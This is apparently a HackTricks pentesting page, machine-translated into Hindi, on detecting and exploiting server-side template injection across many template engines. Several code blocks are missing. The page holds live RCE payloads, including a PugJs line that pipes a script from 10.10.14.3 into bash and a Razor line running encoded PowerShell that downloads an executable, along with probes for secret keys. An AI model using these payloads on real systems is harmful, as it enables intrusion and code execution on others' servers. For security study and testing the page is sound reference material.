SSTI (Server Side Template Injection)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2214728956-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FPfJnr5ak4G3jo9UcZF4y%252Fuploads%252Fgit-blob-9b4be1f505608769d43f6dc95da85f837f25b869%252Fimage%2520%28641%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=48d835b5&sv=1)
RootedCON स्पेन में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
What is SSTI (Server-Side Template Injection)
Server-side template injection एक सुरक्षा कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से name
पैरामीटर को सीधे render
फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। यह संभावित रूप से एक हमलावर को name
पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।
उदाहरण के लिए, एक हमलावर इस तरह के पेलोड के साथ एक अनुरोध तैयार कर सकता है:
The payload {{bad-stuff-here}}
को name
पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डालने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
Detection
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, टेम्पलेट को फज़ करना एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (${{<%[%'"}}%\
) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
Plaintext Context: XSS से अलग करने के लिए यह जांचें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे,
{{7*7}}
,${7*7}
)।Code Context: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए,
http://vulnerable-website.com/?greeting=data.username
मेंgreeting
को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसेgreeting=data.username}}hello
जो उपयोगकर्ता नाम लौटाता है।
Identification Phase
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें ${7/0}
, {{7/0}}
, और <%= 7/0 %>
शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
Tools
एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है
एक इंटरैक्टिव टेबल जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स और 44 सबसे महत्वपूर्ण टेम्पलेट इंजनों की अपेक्षित प्रतिक्रियाएँ शामिल हैं।
Exploits
Generic
इस wordlist में आप नीचे दिए गए कुछ इंजनों के वातावरण में परिभाषित वेरिएबल्स पा सकते हैं:
Java
Java - Basic injection
जावा - सिस्टम के पर्यावरण चर प्राप्त करें
Java - /etc/passwd प्राप्त करें
FreeMarker (Java)
आप अपने पेलोड्स को https://try.freemarker.apache.org पर आजमा सकते हैं
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} कुछ नहीं
${foobar}
Freemarker - सैंडबॉक्स बायपास
⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है
अधिक जानकारी
https://portswigger.net/research/server-side-template-injection के FreeMarker अनुभाग में
Velocity (Java)
अधिक जानकारी
https://portswigger.net/research/server-side-template-injection के Velocity अनुभाग में
Thymeleaf
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति ${7*7}
, जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
SpringEL:
OGNL:
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, expression inlining अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि [[...]]
या [(...)]
का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है [[${7*7}]]
।
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना TemplateResolver
लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ डबल अंडरस्कोर (__...__
) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
Example of Vulnerability in Thymeleaf
निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के लिए संवेदनशील हो सकता है:
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:
अधिक जानकारी
स्प्रिंग फ्रेमवर्क (जावा)
फिल्टर बायपास करें
यदि ${...}
काम नहीं करता है तो कई वेरिएबल एक्सप्रेशंस का उपयोग किया जा सकता है, जैसे #{...}
, *{...}
, @{...}
या ~{...}
।
/etc/passwd
पढ़ें
पेलोड जनरेशन के लिए कस्टम स्क्रिप्ट
अधिक जानकारी
स्प्रिंग व्यू मैनिपुलेशन (जावा)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble का पुराना संस्करण ( < संस्करण 3.0.9):
नई संस्करण Pebble :
जिनजावा (Java)
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है https://github.com/HubSpot/jinjava/
Jinjava - कमांड निष्पादन
इससे ठीक किया गया https://github.com/HubSpot/jinjava/pull/230
अधिक जानकारी
Hubspot - HuBL (Java)
{% %}
कथन सीमांकक{{ }}
अभिव्यक्ति सीमांकक{# #}
टिप्पणी सीमांकक{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और Jinjava प्रोजेक्ट को Github पर खोजें.
अधिक जानकारी
एक्सप्रेशन लैंग्वेज - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
JavaServer Faces (JSF): JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
JavaServer Pages (JSP): JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
Contexts and Dependency Injection for Java EE (CDI): EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना सुनिश्चित होती है।
EL इंटरप्रेटर्स के शोषण के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:
EL - Expression Languageग्रूवी (Java)
निम्नलिखित सुरक्षा प्रबंधक बायपास इस लेख से लिए गए हैं।
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON स्पेन में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
Smarty (PHP)
अधिक जानकारी
Smarty अनुभाग में https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - टेम्पलेट प्रारूप
अधिक जानकारी
https://portswigger.net/research/server-side-template-injection के Twig और Twig (Sandboxed) अनुभाग में
Plates (PHP)
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरणा लेता है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।
Controller:
पृष्ठ टेम्पलेट:
लेआउट टेम्पलेट:
अधिक जानकारी
PHPlib और HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।
authors.tpl
authors.php
अधिक जानकारी
जेड (NodeJS)
अधिक जानकारी
https://portswigger.net/research/server-side-template-injection के जेड सेक्शन में
patTemplate (PHP)
patTemplate एक नॉन-कंपाइलिंग PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है
अधिक जानकारी
हैंडलबार्स (NodeJS)
पाथ ट्रैवर्सल (अधिक जानकारी यहाँ पर)।
= त्रुटि
${7*7} = ${7*7}
कुछ नहीं
अधिक जानकारी
JsRender (NodeJS)
टेम्पलेट | विवरण |
आउटपुट का मूल्यांकन और रेंडर करना | |
एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना | |
टिप्पणी | |
और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) |
= 49
क्लाइंट साइड
सर्वर साइड
अधिक जानकारी
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
उदाहरण सर्वर साइड रेंडर
अधिक जानकारी
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = कोई आउटपुट नहीं
#{7*7} = #{7*7}
{{console.log(1)}} = त्रुटि
अधिक जानकारी
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
अधिक जानकारी
Slim (Ruby)
{ 7 * 7 }
अधिक जानकारी
Python
arbitrary command execution bypassing sandboxes के बारे में ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ पर जाएं:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
अधिक जानकारी
Jinja2 (Python)
Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण है, व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - टेम्पलेट प्रारूप
RCE निर्भर नहीं है __builtins__
:
Jinja का दुरुपयोग करने के बारे में अधिक जानकारी:
Jinja2 SSTIअन्य पेलोड https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 में
Mako (Python)
अधिक जानकारी
Razor (.Net)
@(2+2) <= सफलता
@() <= सफलता
@("{{code}}") <= सफलता
@ <=सफलता
@{} <= त्रुटि!
@{ <= त्रुटि!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET System.Diagnostics.Process.Start
विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार एक वेबशेल बनाया जा सकता है। आप एक कमजोर वेबऐप उदाहरण https://github.com/cnotin/RazorVulnerableApp में पा सकते हैं।
अधिक जानकारी
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= कुछ नहीं<%= response.write(date()) %>
= <Date>
अधिक जानकारी
Mojolicious (Perl)
यह पर्ल होने के बावजूद, यह रूबी में ERB की तरह टैग का उपयोग करता है।
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI in GO
Go के टेम्पलेट इंजन में, इसके उपयोग की पुष्टि विशिष्ट पेलोड के साथ की जा सकती है:
{{ . }}
: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमेंPassword
विशेषता है, पास किया जाता है, तो{{ .Password }}
इसे उजागर कर सकता है।{{printf "%s" "ssti" }}
: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।{{html "ssti"}}
,{{js "ssti"}}
: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में यहां खोजा जा सकता है।
XSS Exploitation
text/template
पैकेज के साथ, XSS को सीधे पेलोड डालकर सरलता से किया जा सकता है। इसके विपरीत, html/template
पैकेज प्रतिक्रिया को एन्कोड करता है ताकि इसे रोका जा सके (जैसे, {{"<script>alert(1)</script>"}}
का परिणाम <script>alert(1)</script>
होता है)। फिर भी, Go में टेम्पलेट परिभाषा और आह्वान इस एन्कोडिंग को बायपास कर सकते हैं: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE शोषण html/template
और text/template
के बीच काफी भिन्न है। text/template
मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो html/template
में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ html/template के लिए यहां और text/template के लिए यहां उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक System
विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: {{ .System "ls" }}
। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
अधिक जानकारी
अधिक शोषण
अधिक शोषण के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection की जांच करें। आप https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में दिलचस्प टैग जानकारी भी पा सकते हैं।
BlackHat PDF
संबंधित सहायता
यदि आपको लगता है कि यह उपयोगी हो सकता है, पढ़ें:
उपकरण
ब्रूट-फोर्स डिटेक्शन लिस्ट
अभ्यास और संदर्भ
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON स्पेन में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated